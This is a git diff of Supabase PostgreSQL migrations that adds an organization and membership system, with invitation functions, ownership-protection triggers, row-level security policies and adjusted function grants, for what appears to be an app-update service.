 GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precision, "max_val" double precision) TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "postgres";
-GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "anon";
-GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "authenticated";
-GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "postgres";
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "anon";
 GRANT ALL ON FUNCTION "public"."count_all_apps"() TO "authenticated";
@@ -3053,11 +2539,6 @@ GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "na
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "authenticated";
 GRANT ALL ON FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "postgres";
-GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "anon";
-GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "authenticated";
-GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "service_role";
-
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "postgres";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "anon";
 GRANT ALL ON FUNCTION "public"."get_current_plan_max"("userid" "uuid") TO "authenticated";
@@ -3153,10 +2634,10 @@ GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying)
 GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying) TO "authenticated";
 GRANT ALL ON FUNCTION "public"."is_not_deleted"("email_check" character varying) TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "postgres";
-GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "anon";
-GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "authenticated";
-GRANT ALL ON FUNCTION "public"."is_onboarded"() TO "service_role";
+GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "postgres";
+GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "anon";
+GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "authenticated";
+GRANT ALL ON FUNCTION "public"."is_onboarded"("userid" "uuid") TO "service_role";
 
 GRANT ALL ON FUNCTION "public"."is_onboarding_needed"("userid" "uuid") TO "postgres";
 GRANT ALL ON FUNCTION "public"."is_onboarding_needed"("userid" "uuid") TO "anon";
@@ -3342,27 +2823,9 @@ REVOKE EXECUTE ON FUNCTION public.remove_enum_value(enum_type regtype, enum_valu
 REVOKE EXECUTE ON FUNCTION public.remove_enum_value(enum_type regtype, enum_value text) FROM authenticated;
 GRANT EXECUTE ON FUNCTION public.remove_enum_value(enum_type regtype, enum_value text) TO postgres;
 
--- REVOKE EXECUTE ON FUNCTION public.update_app_usage(minutes_interval INT) FROM PUBLIC;
--- REVOKE EXECUTE ON FUNCTION public.update_app_usage(minutes_interval INT) FROM anon;
--- REVOKE EXECUTE ON FUNCTION public.update_app_usage(minutes_interval INT) FROM authenticated;
--- GRANT EXECUTE ON FUNCTION public.update_app_usage(minutes_interval INT) TO postgres;
-
--- REVOKE EXECUTE ON FUNCTION public.calculate_daily_app_usage() FROM PUBLIC;
--- REVOKE EXECUTE ON FUNCTION public.calculate_daily_app_usage() FROM anon;
--- REVOKE EXECUTE ON FUNCTION public.calculate_daily_app_usage() FROM authenticated;
--- GRANT EXECUTE ON FUNCTION public.calculate_daily_app_usage() TO postgres;
-
--- REVOKE EXECUTE ON FUNCTION public.calculate_cycle_usage() FROM PUBLIC;
--- REVOKE EXECUTE ON FUNCTION public.calculate_cycle_usage() FROM anon;
--- REVOKE EXECUTE ON FUNCTION public.calculate_cycle_usage() FROM authenticated;
--- GRANT EXECUTE ON FUNCTION public.calculate_cycle_usage() TO postgres;
-
-GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO PUBLIC;
-GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO anon;
-GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO authenticated;
--- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM PUBLIC;
--- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM anon;
--- REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM authenticated;
+REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM PUBLIC;
+REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM anon;
+REVOKE EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) FROM authenticated;
 GRANT EXECUTE ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO postgres;
 
 REVOKE EXECUTE ON FUNCTION public.count_all_apps() FROM PUBLIC;
@@ -3400,4 +2863,4 @@ REVOKE EXECUTE ON FUNCTION public.count_all_updates() FROM anon;
 REVOKE EXECUTE ON FUNCTION public.count_all_updates() FROM authenticated;
 GRANT EXECUTE ON FUNCTION public.count_all_updates() TO postgres;
 
-RESET ALL;
+RESET ALL;
\ No newline at end of file
diff --git a/supabase/migrations/20231121174425_organization_system.sql b/supabase/migrations/20231121174425_organization_system.sql
new file mode 100644
index 0000000000..3005834cc0
--- /dev/null
+++ b/supabase/migrations/20231121174425_organization_system.sql
@@ -0,0 +1,515 @@
+CREATE TYPE "public"."orgs_table" AS (
+    id uuid,
+    created_by uuid,
+    created_at timestamp with time zone,
+    updated_at timestamp with time zone,
+    logo text,
+    name text
+);
+
+CREATE TYPE "public"."owned_orgs" AS (
+    "id" uuid, 
+    "created_by" uuid, 
+    "logo" text, 
+    "name" text, 
+    "role" varchar
+);
+
+ALTER TYPE "user_min_right" ADD VALUE 'invite_read' BEFORE 'read';
+ALTER TYPE "user_min_right" ADD VALUE 'invite_upload' BEFORE 'read';
+ALTER TYPE "user_min_right" ADD VALUE 'invite_write' BEFORE 'read';
+ALTER TYPE "user_min_right" ADD VALUE 'invite_admin' BEFORE 'read';
+
+CREATE FUNCTION "public"."is_member_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare
+ is_found integer;
+Begin
+  SELECT count(*)
+  INTO is_found
+  FROM orgs
+  JOIN org_users on org_users.org_id = orgs.id
+  WhERE org_users.user_id = is_member_of_org.user_id AND
+  orgs.id = is_member_of_org.org_id;
+  RETURN is_found != 0;
+End;
+$$;
+
+CREATE FUNCTION "public"."is_owner_of_org"("user_id" uuid, "org_id" uuid) RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare
+ is_found integer;
+Begin
+  SELECT count(*)
+  INTO is_found
+  FROM orgs
+  WHERE orgs.id = org_id
+  AND orgs.created_by = user_id;
+  RETURN is_found != 0;
+End;
+$$;
+
+CREATE FUNCTION "public"."get_org_members"("guild_id" uuid) RETURNS table(aid int8, uid uuid, email character varying, image_url character varying)
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+begin
+  IF NOT (is_owner_of_org(auth.uid(), get_org_members.guild_id) OR check_min_rights('read'::user_min_right, auth.uid(), get_org_members.guild_id, NULL::character varying, NULL::bigint)) THEN
+    raise exception 'NO_RIGHTS';
+  END IF;
+
+  return query select o.id as aid, users.id as uid, users.email, users.image_url from org_users as o
+  join users on users.id = o.user_id
+  where o.org_id=get_org_members.guild_id
+  AND (is_member_of_org(users.id, o.org_id) OR is_owner_of_org(users.id, o.org_id))
+  union all
+  select 0 as aid, users.id as uid, users.email, users.image_url from users
+  join orgs on orgs.created_by = users.id
+  where orgs.id=get_org_members.guild_id;
+End;
+$$;
+
+CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS TABLE(gid uuid, created_by uuid, logo text, name text, role varchar)
+    LANGUAGE "plpgsql"
+    AS $$
+BEGIN
+  return query select o.id as gid, o.created_by, o.logo, o.name, org_users.user_right::varchar from orgs as o
+  join org_users on org_users.user_id=get_orgs_v2.userid
+  where o.created_by != get_orgs_v2.userid
+  union all
+  select o.id as gid, o.created_by, o.logo, o.name, 'owner' as "role" from orgs as o
+  where o.created_by = get_orgs_v2.userid;
+END;  
+$$;
+
+CREATE FUNCTION "public"."get_user_main_org_id"("user_id" uuid) RETURNS uuid
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+DECLARE
+  org_id uuid;
+begin
+  select orgs.id from orgs
+  into org_id
+  where orgs.created_by=get_user_main_org_id.user_id
+  limit 1;
+
+  return org_id;
+End;
+$$;
+
+CREATE FUNCTION "public"."get_user_main_org_id_by_app_id"("app_id" text) RETURNS uuid
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+DECLARE
+  org_id uuid;
+begin
+  select apps.user_id from apps
+  into org_id
+  where ((apps.app_id)::text = (get_user_main_org_id_by_app_id.app_id)::text)
+  limit 1;
+
+  return (select get_user_main_org_id(org_id));
+End;
+$$;
+
+CREATE OR REPLACE FUNCTION "public"."get_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") RETURNS integer
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT id
+  FROM app_versions
+  WHERE app_id=appid
+  AND name=name_version
+  AND user_id=get_user_id(apikey, appid));
+End;  
+$$;
+
+CREATE OR REPLACE FUNCTION "public"."exist_app_versions"("appid" character varying, "name_version" character varying, "apikey" "text") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM app_versions
+  WHERE app_id=appid
+  AND name=name_version
+  AND user_id=get_user_id(apikey, appid)));
+End;  
+$$;
+
+
+CREATE FUNCTION "public"."get_orgs"("userid" "uuid") RETURNS TABLE(id uuid, logo text, name text)
+    LANGUAGE "plpgsql"
+    AS $$
+BEGIN
+  RETURN QUERY
+    SELECT orgs.id, orgs.logo, orgs.name from orgs
+    WHERE is_member_of_org(userid, orgs.id) or is_owner_of_org(userid, orgs.id);
+END;  
+$$;
+
+
+CREATE FUNCTION "public"."get_user_id"("apikey" "text", "app_id" "text") RETURNS "uuid"
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+ org_owner_id uuid;
+ real_user_id uuid;
+ org_id uuid;
+Begin
+  SELECT apps.user_id FROM apps WHERE apps.app_id=get_user_id.app_id into org_owner_id;
+  SELECT get_user_main_org_id(org_owner_id) INTO org_id;
+
+  -- (public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id))
+  SELECT user_id
+  INTO real_user_id
+  FROM apikeys
+  WHERE key=apikey;
+
+  IF NOT ((public.is_member_of_org(real_user_id, org_id) OR public.is_owner_of_org(real_user_id, org_id)))
+  THEN
+    raise exception 'NO_RIGHTS';
+  END IF;
+
+  RETURN org_owner_id;
+End;  
+$$;
+
+CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid", "invite_type" "public"."user_min_right") RETURNS "varchar"
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+  org record;
+  invited_user record;
+  current_record record;
+Begin
+  SELECT * FROM ORGS
+  INTO org
+  WHERE orgs.id=invite_user_to_org.org_id;
+
+  IF org IS NULL THEN
+    return 'NO_ORG';
+  END IF;
+
+  IF NOT (org.created_by=auth.uid()) THEN
+      if NOT (check_min_rights('admin'::user_min_right, auth.uid(), invite_user_to_org.org_id, NULL::character varying, NULL::bigint)) THEN
+          return 'NO_RIGHTS';
+      END IF;
+  END IF;
+
+  SELECT users.id FROM USERS
+  INTO invited_user
+  WHERE users.email=invite_user_to_org.email;
+
+  IF invited_user IS NOT NULL THEN
+    -- INSERT INTO org_users (user_id, org_id, user_right)
+    -- VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
+
+    IF (org.created_by=invited_user.id) THEN
+      RETURN 'CAN_NOT_INVITE_OWNER';
+    END IF;
+
+    SELECT org_users.id from org_users 
+    INTO current_record
+    WHERE org_users.user_id=invited_user.id
+    AND org_users.org_id=invite_user_to_org.org_id;
+
+    IF current_record IS NOT NULL THEN
+      RETURN 'ALREADY_INVITED';
+    ELSE
+      INSERT INTO org_users (user_id, org_id, user_right)
+      VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
+
+      RETURN 'OK';
+    END IF;
+  ELSE
+    return 'NO_EMAIL';
+  END IF;
+End;
+$$;
+
+CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Declare  
+ invite record;
+Begin
+  SELECT org_users.* FROM org_users
+  INTO invite
+  WHERE org_users.org_id=accept_invitation_to_org.org_id and auth.uid()=org_users.user_id;
+
+  IF invite IS NULL THEN
+    return 'NO_INVITE';
+  else
+    IF NOT (invite.user_right::varchar ilike 'invite_'||'%') THEN
+      return 'INVALID_ROLE';
+    END IF;
+
+    UPDATE org_users
+    SET user_right = REPLACE(invite.user_right::varchar, 'invite_', '')::user_min_right
+    WHERE org_users.id=invite.id;
+
+    return 'OK';
+  end if;
+End;
+$$;
+
+CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM apikeys
+  WHERE key=apikey
+  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, NULL::bigint));
+End;  
+$$;
+
+CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "channel_id" int8, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM apikeys
+  WHERE key=apikey
+  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, "is_allowed_capgkey"."channel_id"));
+End;
+$$;
+
+
+CREATE FUNCTION "public"."is_allowed_action"("apikey" "text", "appid" "text") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN is_allowed_action_user(get_user_id(apikey, appid));
+End;
+$$;
+
+CREATE OR REPLACE FUNCTION "public"."force_valid_user_id"() RETURNS trigger
+   LANGUAGE plpgsql AS
+$$BEGIN
+    IF NEW."user_id" <> (select user_id from apps where app_id=NEW."app_id") THEN
+        RAISE EXCEPTION 'INVALID_USER_ID';
+    END IF;
+
+    RETURN NEW;
+END;$$;
+
+CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
+   LANGUAGE plpgsql AS $$
+DECLARE
+    val RECORD;
+    is_diffrent boolean;
+BEGIN
+    -- API key? We do not care
+    IF auth.uid() IS NULL THEN
+        RETURN NEW;
+    END IF;
+
+    -- If the user is an admin, we do not care
+    IF (is_app_owner(auth.uid(), OLD.app_id) OR is_admin(auth.uid())) THEN
+        RETURN NEW;
+    END IF;
+
+    -- If the user has the 'admin' role then we do not care
+    IF check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(OLD.created_by), NULL::character varying, NULL::bigint) THEN
+        RETURN NEW;
+    END IF;
+
+    for val in
+      select * from json_each_text(row_to_json(NEW))
+    loop
+      -- raise warning '?? % % %', val.key, val.value, format('SELECT (NEW."%s" <> OLD."%s")', val.key, val.key);
+
+      EXECUTE format('SELECT ($1."%s" is distinct from $2."%s")', val.key, val.key) using NEW, OLD
+      INTO is_diffrent;
+
+      IF is_diffrent AND val.key <> 'version' AND val.key <> 'secondVersion' AND key.value <> 'updated_at' THEN
+          RAISE EXCEPTION 'not allowed %', val.key;
+      END IF;
+    end loop;
+
+   RETURN NEW;
+END;$$;
+
+CREATE OR REPLACE FUNCTION "public"."prevent_steal_org"() RETURNS trigger
+   LANGUAGE plpgsql AS
+$$BEGIN
+   IF NEW.created_by IS DISTINCT FROM OLD.created_by
+   THEN
+      RAISE EXCEPTION '"created_by" must not be updated';
+   END IF;
+
+    IF NEW.id IS DISTINCT FROM OLD.id
+   THEN
+      RAISE EXCEPTION '"id" must not be updated';
+   END IF;
+
+   RETURN NEW;
+END;$$;
+
+CREATE TRIGGER noupdate
+   BEFORE UPDATE ON "public"."channels" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."noupdate"();
+
+CREATE TRIGGER force_valid_user_id
+   BEFORE INSERT ON "public"."app_versions" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."force_valid_user_id"();
+
+CREATE TRIGGER prevent_steal_org
+   BEFORE UPDATE ON "public"."orgs" FOR EACH ROW
+   EXECUTE PROCEDURE "public"."prevent_steal_org"();
+
+CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
+    LANGUAGE "plpgsql"
+    AS $$
+Begin
+  RETURN is_onboarded(auth.uid());
+End;
+$$;
+
+ALTER TABLE ONLY "public"."orgs"
+    ADD CONSTRAINT "orgs_created_by_fkey" FOREIGN KEY ("created_by") REFERENCES "public"."users"("id") ON DELETE CASCADE;
+
+DROP POLICY "Allow apikey to select" ON "public"."app_versions";
+CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING (("public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id") OR "public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id", 'read'::"public"."user_min_right", "user_id")));
+
+CREATE POLICY "Allow org admin to update (name and logo)" ON "public"."orgs" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to insert" ON "public"."devices_override" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to delete" ON "public"."devices_override" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member to read" ON "public"."devices_override" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to insert" ON "public"."channel_devices" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member (write) to delete" ON "public"."channel_devices" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org member to read" ON "public"."channel_devices" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
+
+DROP POLICY "Allow owner to all" ON "public"."orgs";
+CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("auth"."uid"() = created_by) WITH CHECK ("auth"."uid"() = created_by);
+
+CREATE POLICY "Allow memeber and owner to select" ON "public"."org_users"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ((public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id)));
+
+CREATE POLICY "Allow to self delete" ON "public"."org_users"
+AS PERMISSIVE FOR DELETE
+TO public
+USING ((user_id=auth.uid()));
+
+CREATE POLICY "Allow org member to select" ON "public"."apps"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (public.check_min_rights('read'::"public"."user_min_right", auth.uid(), public.get_user_main_org_id(user_id), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow member or owner to select" ON "public"."orgs"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING (public.is_member_of_org(auth.uid(), id) OR public.is_owner_of_org(auth.uid(), id));
+
+CREATE POLICY "Allow org members to select" ON "public"."channels"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."app_versions"
+AS PERMISSIVE FOR SELECT
+TO authenticated
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org admins to edit" ON "public"."channels"
+AS PERMISSIVE FOR UPDATE
+TO authenticated
+USING ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint))
+WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
+
+CREATE POLICY "Allow org admins to insert" ON "public"."channels"
+AS PERMISSIVE FOR INSERT
+TO authenticated
+WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
+
+-- CREATE POLICY "Allow org member to select " ON "public"."app_stats"
+-- AS PERMISSIVE FOR SELECT
+-- TO authenticated
+-- USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."devices"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."app_usage"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org members to select" ON "public"."app_versions_meta"
+AS PERMISSIVE FOR SELECT
+TO public
+USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
+
+CREATE POLICY "Allow org owner to all" ON "public"."org_users"
+AS PERMISSIVE FOR ALL
+TO authenticated
+USING ("public"."is_owner_of_org"(auth.uid(), org_id))
+WITH CHECK ("public"."is_owner_of_org"(auth.uid(), org_id));
+
+CREATE POLICY "Allow org member's API key to select" ON "public"."apps"
+AS PERMISSIVE FOR SELECT
+TO anon
+USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{all,write,read}'::"public"."key_mode"[], app_id, 'read'::"public"."user_min_right", user_id));
+
+CREATE POLICY "Allow org member's api key to select" ON "public"."channels"
+AS PERMISSIVE FOR SELECT
+TO anon
+USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{read, upload, write, all}'::"public"."key_mode"[], app_id, channels.id, 'read'::"public"."user_min_right", created_by));
+
+CREATE POLICY "Allow org member's apikey to insert" ON "public"."app_versions"
+AS PERMISSIVE FOR INSERT
+TO anon
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
+
+CREATE POLICY "Allow org member's apikey to update" ON "public"."app_versions"
+AS PERMISSIVE FOR UPDATE
+TO anon
+USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
+
+CREATE POLICY "Allow org member's api key to update" ON "public"."channels"
+AS PERMISSIVE FOR UPDATE
+TO anon
+USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
+WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
+
+DROP POLICY "Enable all for user based on user_id" ON "public"."apikeys";
+CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR ALL TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
+
+GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "postgres";
+GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "anon";
+GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "authenticated";
+GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "service_role";
+
+REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM PUBLIC;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO anon;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO authenticated;
+GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO postgres;
+
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "postgres";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "anon";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "authenticated";
+GRANT ALL ON FUNCTION "public"."get_org_members"("guild_id" uuid) TO "service_role";
+
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "postgres";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "anon";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "authenticated";
+GRANT ALL ON FUNCTION "public"."get_orgs"("userid" "uuid") TO "service_role";
+
